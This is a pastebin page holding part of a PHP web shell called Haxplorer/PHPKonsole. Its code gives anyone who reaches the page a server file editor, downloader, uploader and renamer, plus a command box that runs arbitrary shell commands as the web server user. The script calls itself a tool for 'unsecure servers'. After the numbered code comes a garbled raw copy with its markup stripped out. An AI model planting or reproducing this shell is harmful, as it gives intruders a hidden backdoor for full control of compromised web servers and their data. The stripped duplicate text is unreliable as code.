  678.         echo "<br><center><table><tr><td NOWRAP>";
  679.         echo "M<form action=\"$SFileName?$urlAdd\" method=\"post\">\n";
  680.         echo "<input type=\"hidden\" name=\"cmd\" value=\"saveedit\">\n";
  681.         echo "<strong>EDIT FILE: </strong>$file<br>\n";
  682.         echo "<textarea rows=\"25\" cols=\"95\" name=\"contents\">$contents</textarea><br>\n";
  683.         echo "<input size=\"50\" type=\"text\" name=\"file\" value=\"$file\">\n";
  684.         echo "<input type=\"submit\" value=\"Save\">";
  685.         echo "</form>";
  686.         echo "</td></tr></table></center>";
  687. }
  688. elseif ( $cmd=="saveedit" ) { /*<!-- Save the edited file back to a file --> */
  689.         $fo = fopen($file, "w");
  690.         $wrret = fwrite($fo, stripslashes($contents));
  691.         $clret = fclose($fo);
  692. }
  693. elseif ( $cmd=="downl" ) { /*<!-- Save the edited file back to a file --> */
  694.         $downloadfile = urldecode($file);
  695.         if (function_exists("basename"))
  696.                 $downloadto = basename ($downloadfile);
  697.         else
  698.                 $downloadto = "download.ext";
  699.         if (!file_exists("$downloadfile"))
  700.                 echo "The file does not exist";
  701.         else {
  702.                 $size = @filesize("$downloadfile");
  703.                 if ($size != false) {
  704.                         $add="; size=$size";
  705.                 }                      
  706.                 else {
  707.                         $add="";
  708.                 }
  709.                 header("Content-Type: application/download");
  710.                 header("Content-Disposition: attachment; filename=$downloadto$add");
  711.                 $fp=fopen("$downloadfile" ,"rb");
  712.                 fpassthru($fp);
  713.                 flush();
  714.         }
  715. }
  716. elseif ( $cmd=="upload" ) { /* <!-- Upload File form --> */
  717.         ?>
  718.         <center>
  719.          <table>
  720.           <tr>
  721.            <td NOWRAP>
  722.                 Welcome to the upload section...
  723.                 Please note that the destination file will be
  724.                 <br> overwritten if it already exists!!!<br><br>
  725.                 <form enctype="multipart/form-data" action="<?php echo "$SFileName?$urlAdd" ?>" method="post">
  726.                         <input type="hidden" name="MAX_FILE_SIZE" value="1099511627776">
  727.                         <input type="hidden" name="cmd" value="uploadproc">
  728.                         <input type="hidden" name="dir" value="<?php echo $dir ?>">
  729.                         <input type="hidden" name="lastcmd" value="<?php echo $lastcmd ?>">
  730.                         <input type="hidden" name="lastdir" value="<?php echo $lastdir ?>">
  731.                         Select local file:<br>
  732.                         <input size="75" name="userfile" type="file"><br>
  733.                         <input type="submit" value="Send File">
  734.                 </form>
  735.                 <br>
  736.                 <form action="<?php echo "$SFileName?$urlAdd" ?>" method="POST">
  737.                         <input type="hidden" name="cmd" value="<?php echo $lastcmd ?>">
  738.                         <input type="hidden" name="dir" value="<?php echo $lastdir ?>">
  739.                         <input tabindex="0" type="submit" value="Cancel">
  740.                 </form>
  741.            </td>
  742.           </tr>
  743.          </table>
  744.         </center>
  745.  
  746.         <?php
  747. }
  748. elseif ( $cmd=="uploadproc" ) { /* <!-- Process Uploaded file --> */
  749.         echo "<center><table><tr><td NOWRAP>";
  750.         if (file_exists($userfile))
  751.                 $res = copy($userfile, "$dir/$userfile_name");
  752.         echo "Uploaded \"$userfile_name\" to \"$userfile\"; <br>\n";
  753.         if ($res) {
  754.                 echo "Successfully moved \"$userfile\" to \"$dir/$userfile_name\".\n<br><br>";
  755.                 echo "Local filename: \"$userfile_name\".\n<br>Remote filename: \"$userfile\".\n<br>";
  756.                 echo "Filesize: ".formatsize($userfile_size).".\n<br>Filetype: $userfile_type.\n<br>";
  757.         }
  758.         else {
  759.                 echo "Could not move uploaded file; Action aborted...";
  760.         }
  761.         echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form></center>" ;
  762.         echo "<br><br></td></tr></table></center>";
  763. }
  764. elseif ( $cmd=="file" ) { /* <!-- View a file in text --> */
  765.         echo "<hr>";
  766.         $fc = @file( $file );   while ( @list( $ln, $line ) = each( $fc ) ) {
  767.                 echo spacetonbsp(@htmlentities($line))."<br>\n";
  768.         }
  769.         echo "<hr>";
  770. }
  771. elseif ( $cmd=="ren" ) { /* <!-- File and Directory Rename --> */
  772.         if (function_exists('is_dir')) {
  773.                 if (is_dir("$oldfile")) {
  774.                         $objname = "Directory";
  775.                         $objident = "Directory";
  776.                 }
  777.                 else {
  778.                         $objname = "Filename";
  779.                         $objident = "file";
  780.                 }
  781.         }
  782.         echo "<table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td width=100% style=\"class=\"silver border\"><center>&nbsp;Rename a file:&nbsp;</center></td></tr></table><br>\n";
  783.         If (empty($newfile) != true) {
  784.                 echo "<center>";
  785.                 $return = @rename($oldfile, "$olddir$newfile");
  786.                 if ($return) {
  787.                         echo "$objident renamed successfully:<br><br>Old $objname: \"$oldfile\".<br>New $objname: \"$olddir$newfile\"";
  788.                 }
  789.                 else {
  790.                         if ( @file_exists("$olddir$newfile") ) {
  791.                                 echo "Error: The $objident does already exist...<br><br>\"$olddir$newfile\"<br><br>Hit your browser's back to try again...";
  792.                         }
  793.                         else {
  794.                                 echo "Error: Can't copy the file, the file could be in use or you don't have permission to rename it.";
  795.                         }
  796.                 }
  797.                 echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form></center>" ;
  798.         }
  799.         else {
  800.                 $dpos = strrpos($oldfile, "/");
  801.                 if (strval($dpos)!="") {
  802.                         $olddir = substr($oldfile, 0, $dpos+1);
  803.                 }
  804.                 else {
  805.                         $olddir = "$lastdir/";
  806.                 }
  807.                 $fpos = strrpos($oldfile, "/");
  808.                 if (strval($fpos)!="") {
  809.                         $inputfile = substr($oldfile, $fpos+1);
  810.                 }
  811.                 else {
  812.                         $inputfile = "";
  813.                 }
  814.                 echo "<center><table><tr><td><form action=\"$SFileName?$urlAdd\" method=\"post\">\n";
  815.                 echo "<input type=\"hidden\" name=\"cmd\" value=\"ren\">\n";
  816.                 echo "<input type=\"hidden\" name=\"oldfile\" value=\"$oldfile\">\n";
  817.                 echo "<input type=\"hidden\" name=\"olddir\" value=\"$olddir\">\n";
  818.                 echo "<input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">\n";
  819.                 echo "<input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">\n";
  820.                 echo "Rename \"$oldfile\" to:<br>\n";
  821.                 echo "<input size=\"100\" type=\"text\" name=\"newfile\" value=\"$inputfile\"><br><input type=\"submit\" value=\"Rename\">";
  822.                 echo "</form><form action=\"$SFileName?$urlAdd\" method=\"post\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input type=\"submit\" value=\"Cancel\"></form>";
  823.                 echo "</td></tr></table></center>";
  824.         }
  825. }
  826. else if ( $cmd == "con") {
  827.  
  828. ?>
  829. <center>
  830. <table>
  831.  <tr><td>
  832. <h3>PHPKonsole</h3>
  833.  
  834. <?php
  835.  
  836. if (ini_get('register_globals') != '1') {
  837.     if (!empty($HTTP_POST_VARS))
  838.         extract($HTTP_POST_VARS);
  839.          
  840.     if (!empty($HTTP_GET_VARS))
  841.         extract($HTTP_GET_VARS);
  842.              
  843.     if (!empty($HTTP_SERVER_VARS))
  844.         extract($HTTP_SERVER_VARS);
  845.     }
  846.                    
  847.     if (!empty($work_dir)) {
  848.         if (!empty($command)) {
  849.             if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) {
  850.                 if ($regs[1][0] == '/') {
  851.                     $new_dir = $regs[1];
  852.                 } else {
  853.                     $new_dir = $work_dir . '/' . $regs[1];
  854.                 }
  855.                 if (file_exists($new_dir) && is_dir($new_dir)) {
  856.                     $work_dir = $new_dir;
  857.                 }
  858.                 unset($command);
  859.             }
  860.         }
  861.     }
  862.     if (file_exists($work_dir) && is_dir($work_dir)) {
  863.         chdir($work_dir);
  864.     }
  865.     $work_dir = exec('pwd');
  866. ?>
  867.  
  868.     <form name="myform" action="<?php echo "$PHP_SELF?$urlAdd" ?>" method="post">
  869.         <table border=0 cellspacing=0 cellpadding=0 width="100%"><tr><td>Current working directory: <b>
  870.         <input type="hidden" name="cmd" value="con">
  871.         <?php
  872.             $work_dir_splitted = explode('/', substr($work_dir, 1));
  873.             printf('<a href="%s?$urlAddcmd=con&stderr=%s&work_dir=/">Root</a>/', $PHP_SELF, $stderr);
  874.             if (!empty($work_dir_splitted[0])) {
  875.                 $path = '';
  876.                 for ($i = 0; $i < count($work_dir_splitted); $i++) {
  877.                     $path .= '/' . $work_dir_splitted[$i];
  878.                     printf('<a href="%s?$urlAddcmd=con&stderr=%s&work_dir=%s">%s</a>/', $PHP_SELF, $stderr, urlencode($path), $work_dir_splitted[$i]);
  879.                 }
  880.             }
  881.         ?></b></td>
  882.         <td align="right">Choose new working directory: <select class="inputtext" name="work_dir" onChange="this.form.submit()">
  883.        
  884.         <?php
  885.         $dir_handle = opendir($work_dir);
  886.         while ($dir = readdir($dir_handle)) {
  887.             if (is_dir($dir)) {
  888.                 if ($dir == '.') {
  889.                     echo "<option value=\"$work_dir\" selected>Current Directory</option>\n";
  890.                 } elseif ($dir == '..') {
  891.                     if (strlen($work_dir) == 1) {
  892.                     }
  893.                     elseif (strrpos($work_dir, '/') == 0) {
  894.                         echo "<option value=\"/\">Parent Directory</option>\n";
  895.                     } else {
  896.                         echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n";
  897.                     }
  898.                 } else {
  899.                     if ($work_dir == '/') {
  900.                         echo "<option value=\"$work_dir$dir\">$dir</option>\n";
  901.                     } else {
  902.                         echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
  903.                     }
  904.                 }
  905.             }
  906.         }
  907.         closedir($dir_handle);
  908.         ?>
  909.         </select></td></tr></table>
  910.         <p>Command: <input class="inputtext" type="text" name="command" size="60">
  911.         <input name="submit_btn" class="inputbutton" type="submit" value="Execute Command"></p>
  912.         <p>Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"<?php if (($stderr) || (!isset($stderr)) ) echo " CHECKED"; ?>></p>
  913.         <textarea cols="80" rows="19" class="inputtextarea" wrap=off readonly><?php
  914.             if (!empty($command)) {
  915.                 echo "phpKonsole> ". htmlspecialchars($command) . "\n\n";
  916.                 if ($stderr) {
  917.                     $tmpfile = tempnam('/tmp', 'phpshell');
  918.                     $command .= " 1> $tmpfile 2>&1; " . "cat $tmpfile; rm $tmpfile";
  919.                 } else if ($command == 'ls') {
  920.                     $command .= ' -F';
  921.                 }
  922.                 $output = `$command`;
  923.                 echo htmlspecialchars($output);
  924.             }
  925.         ?></textarea>
  926.     </form>
  927.                                                                                                                                                                                                                                              
  928.     <script language="JavaScript" type="text/javascript">
  929.         document.forms[0].command.focus();
  930.     </script>
  931.  </td></tr></table>
  932. <?php
  933. }    
  934. else { /* <!-- There is a incorrect or no parameter specified... Let's open the main menu --> */
  935.         $isMainMenu = true;
  936.      ?>
  937.         <table width="100%" border="0" cellpadding="0" cellspacing="0">
  938.          <tr>
  939.           <td width="100%" class="border">
  940.            <center>&nbsp;-<[{ <?php echo $scriptTitle ?> Main Menu }]>-&nbsp;</center>
  941.           </td>
  942.          </tr>
  943.         </table>
  944.         <br>
  945.         <center>
  946.         <table border="0" NOWRAP>
  947.          <tr>
  948.           <td valign="top" class="silver border">
  949.            <?php echo buildUrl( sp(2)."<font color=\"navy\"><strong>==> Haxplorer <==</strong></font>", "cmd=dir&dir=.").sp(2); ?>
  950.           </td>
  951.           <td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP>
  952.            Haxplorer is a server side file browser wich (ab)uses the directory object to list
  953.            the files and directories stored on a webserver. This handy tools allows you to manage
  954.            files and directories on a unsecure server with php support.<br><br>This entire script
  955.            is coded for unsecure servers, if your server is secured the script will hide commands
  956.            or will even return errors to your browser...<br><br>
  957.           </td>
  958.          </tr>
  959.          <tr>
  960.           <td valign="top" class="silver border">
  961.            <?php echo buildUrl( sp(2)."<font color=\"navy\"><strong>==> PHPKonsole <==</strong></font>", "cmd=con").sp(2); ?>
  962.           </td>
  963.           <td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP>
  964.            <br>PHPKonsole is just a little telnet like shell wich allows you to run commands on the webserver.
  965.             When you run commands they will run as the webservers UserID. This should work perfectly
  966.             for managing files, like moving, copying etc. If you're using a linux server, system commands
  967.             such as ls, mv and cp will be available for you... <br><br>This function will only work if the
  968.             server supports php and the execute commands...<br><br>
  969.           </td>
  970.          </tr>
  971.         </table>
  972.         </center>
  973.         <br>
  974.      <?php
  975. }
  976.  
  977. if ($cmd != "downl") {
  978.         if ( $isMainMenu != true) {
  979.                 ?>
  980.                 <table width="100%" border="0" cellpadding="0" cellspacing="0">
  981.                  <tr>
  982.                   <td width="100%" style="class="silver border">
  983.                    <center><strong>
  984.                     &nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;Main Menu&nbsp;]  </font>", "cmd=&dir=");      ?>&nbsp;&nbsp;
  985.                     &nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;PHPKonsole&nbsp;] </font>", "cmd=con");        ?>&nbsp;&nbsp;
  986.                     &nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;Haxplorer&nbsp;]  </font>", "cmd=dir&dir=.");  ?> &nbsp;&nbsp;
  987.                    </strong></center>
  988.                   </td>
  989.                  </tr>
  990.                 </table>
  991.                 <br>
  992.                 <?php
  993. }
  994.         ?>
  995.         <table width=100% border="0" cellpadding="0" cellspacing="0">
  996.          <tr>
  997.           <td width="100%" class="silver border">
  998.            <center>&nbsp;<?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?>&nbsp;</center>
  999.           </td>
  1000.          </tr>
  1001.         </table>
  1002.            </td>
  1003.   </tr>
  1004.  </table>
  1005.  
  1006.   <?php
  1007.  }
  1008.  
  1009. ?>

Paste is for source code and general debugging text.

Login or Register to edit, delete and keep track of your pastes and more.

Raw Paste

\n"; echo "\n"; echo ""; echo ""; echo ""; } elseif ( $cmd=="saveedit" ) { /* */ $fo = fopen($file, "w"); $wrret = fwrite($fo, stripslashes($contents)); $clret = fclose($fo); } elseif ( $cmd=="downl" ) { /* */ $downloadfile = urldecode($file); if (function_exists("basename")) $downloadto = basename ($downloadfile); else $downloadto = "download.ext"; if (!file_exists("$downloadfile")) echo "The file does not exist"; else { $size = @filesize("$downloadfile"); if ($size != false) { $add="; size=$size"; } else { $add=""; } header("Content-Type: application/download"); header("Content-Disposition: attachment; filename=$downloadto$add"); $fp=fopen("$downloadfile" ,"rb"); fpassthru($fp); flush(); } } elseif ( $cmd=="upload" ) { /* */ ?>
Welcome to the upload section... Please note that the destination file will be
overwritten if it already exists!!!

" method="post"> Select local file:


" method="POST">
*/ echo "
"; if (file_exists($userfile)) $res = copy($userfile, "$dir/$userfile_name"); echo "Uploaded \"$userfile_name\" to \"$userfile\";
\n"; if ($res) { echo "Successfully moved \"$userfile\" to \"$dir/$userfile_name\".\n

"; echo "Local filename: \"$userfile_name\".\n
Remote filename: \"$userfile\".\n
"; echo "Filesize: ".formatsize($userfile_size).".\n
Filetype: $userfile_type.\n
"; } else { echo "Could not move uploaded file; Action aborted..."; } echo "
" ; echo "

"; } elseif ( $cmd=="file" ) { /* */ echo "
"; $fc = @file( $file ); while ( @list( $ln, $line ) = each( $fc ) ) { echo spacetonbsp(@htmlentities($line))."
\n"; } echo "
"; } elseif ( $cmd=="ren" ) { /* */ if (function_exists('is_dir')) { if (is_dir("$oldfile")) { $objname = "Directory"; $objident = "Directory"; } else { $objname = "Filename"; $objident = "file"; } } echo "
 Rename a file: 

\n"; If (empty($newfile) != true) { echo "
"; $return = @rename($oldfile, "$olddir$newfile"); if ($return) { echo "$objident renamed successfully:

Old $objname: \"$oldfile\".
New $objname: \"$olddir$newfile\""; } else { if ( @file_exists("$olddir$newfile") ) { echo "Error: The $objident does already exist...

\"$olddir$newfile\"

Hit your browser's back to try again..."; } else { echo "Error: Can't copy the file, the file could be in use or you don't have permission to rename it."; } } echo "
" ; } else { $dpos = strrpos($oldfile, "/"); if (strval($dpos)!="") { $olddir = substr($oldfile, 0, $dpos+1); } else { $olddir = "$lastdir/"; } $fpos = strrpos($oldfile, "/"); if (strval($fpos)!="") { $inputfile = substr($oldfile, $fpos+1); } else { $inputfile = ""; } echo "
\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "Rename \"$oldfile\" to:
\n"; echo "
"; echo "
"; echo "
"; } } else if ( $cmd == "con") { ?>

PHPKonsole

" method="post">
Current working directory: Root/', $PHP_SELF, $stderr); if (!empty($work_dir_splitted[0])) { $path = ''; for ($i = 0; $i < count($work_dir_splitted); $i++) { $path .= '/' . $work_dir_splitted[$i]; printf('%s/', $PHP_SELF, $stderr, urlencode($path), $work_dir_splitted[$i]); } } ?> Choose new working directory:

Command:

Enable stderr-trapping? >

*/ $isMainMenu = true; ?>
 -<[{ Main Menu }]>- 

==> Haxplorer <==", "cmd=dir&dir=.").sp(2); ?> Haxplorer is a server side file browser wich (ab)uses the directory object to list the files and directories stored on a webserver. This handy tools allows you to manage files and directories on a unsecure server with php support.

This entire script is coded for unsecure servers, if your server is secured the script will hide commands or will even return errors to your browser...

==> PHPKonsole <==", "cmd=con").sp(2); ?>
PHPKonsole is just a little telnet like shell wich allows you to run commands on the webserver. When you run commands they will run as the webservers UserID. This should work perfectly for managing files, like moving, copying etc. If you're using a linux server, system commands such as ls, mv and cp will be available for you...

This function will only work if the server supports php and the execute commands...


  [ Main Menu ] ", "cmd=&dir="); ?>     [ PHPKonsole ] ", "cmd=con"); ?>     [ Haxplorer ] ", "cmd=dir&dir=."); ?>   

  - -  

Login or Register to edit or fork this paste. It's free.